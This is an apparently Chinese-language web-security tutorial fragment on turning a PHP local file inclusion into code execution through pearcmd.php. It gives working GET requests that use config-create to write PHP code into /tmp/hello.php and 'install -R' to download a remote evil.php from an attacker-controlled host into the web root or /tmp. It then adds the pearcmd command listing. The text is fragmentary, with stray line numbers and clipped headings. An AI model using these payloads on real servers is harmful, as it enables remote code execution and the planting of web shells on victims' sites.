GET /?+config-create+/&f=/usr/local/lib/php/pearcmd&/<?=phpinfo()?>+/tmp/hello.php GET /?+config-create+/&f=/usr/local/lib/php/peclcmd&/<?=phpinfo()?>+/tmp/hello.php
再包含写入的文件
1
?f=/tmp/hello
方法二:拉取远程文件
web目录
拉取到web目录
1 2 3
GET /?f=pearcmd&+install+-R+/var/www/html+http://vps/evil.php 访问 http://xxxx/tmp/pear/download/evil.php
tmp目录
1 2 3
GET /?f=pearcmd&+install+-R+/tmp+http://ip:port/evil.php 访问 http://ip:port/index.php?f=/tmp/pear/download/evil
root@bf3ffaa74403:/usr/local/lib/php# php pearcmd.php Commands: build Build an Extension From C Source bundle Unpacks a Pecl Package channel-add Add a Channel channel-alias Specify an alias to a channel name channel-delete Remove a Channel From the List channel-discover Initialize a Channel from its server channel-info Retrieve Information on a Channel channel-login Connects and authenticates to remote channel server channel-logout Logs out from the remote channel server channel-update Update an Existing Channel clear-cache Clear Web Services Cache config-create Create a Default configuration file config-get Show One Setting config-help Show Information About Setting config-set Change Setting config-show Show All Settings convert Convert a package.xml 1.0 to package.xml 2.0 format cvsdiff Run a "cvs diff" for all files in a package cvstag Set CVS Release Tag download Download Package download-all Downloads each available package from the default channel info Display information about a package install Install Package list List Installed Packages In The Default Channel list-all List All Packages list-channels List Available Channels list-files List Files In Installed Package list-upgrades List Available Upgrades login Connects and authenticates to remote server [Deprecated in favor of channel-login] logout Logs out from the remote server [Deprecated in favor of channel-logout] makerpm Builds an RPM spec file from a PEAR package package Build Package package-dependencies Show package dependencies package-validate Validate Package Consistency pickle Build PECL Package remote-info Information About Remote Packages remote-list List Remote Packages run-scripts Run Post-Install Scripts bundled with a package run-tests Run Regression Tests search Search remote package database shell-test Shell Script Test sign Sign a package distribution file svntag Set SVN Release Tag uninstall Un-install Package update-channels Update the Channel List upgrade Upgrade Package upgrade-all Upgrade All Packages [Deprecated in favor of calling upgrade with no parameters] Usage: pear [options] command [command-options] <parameters> Type "pear help options" to list all options. Type "pear help shortcuts" to list all command shortcuts. Type "pear help version" or "pear version" to list version information. Type "pear help <command>" to get the help for the specified command.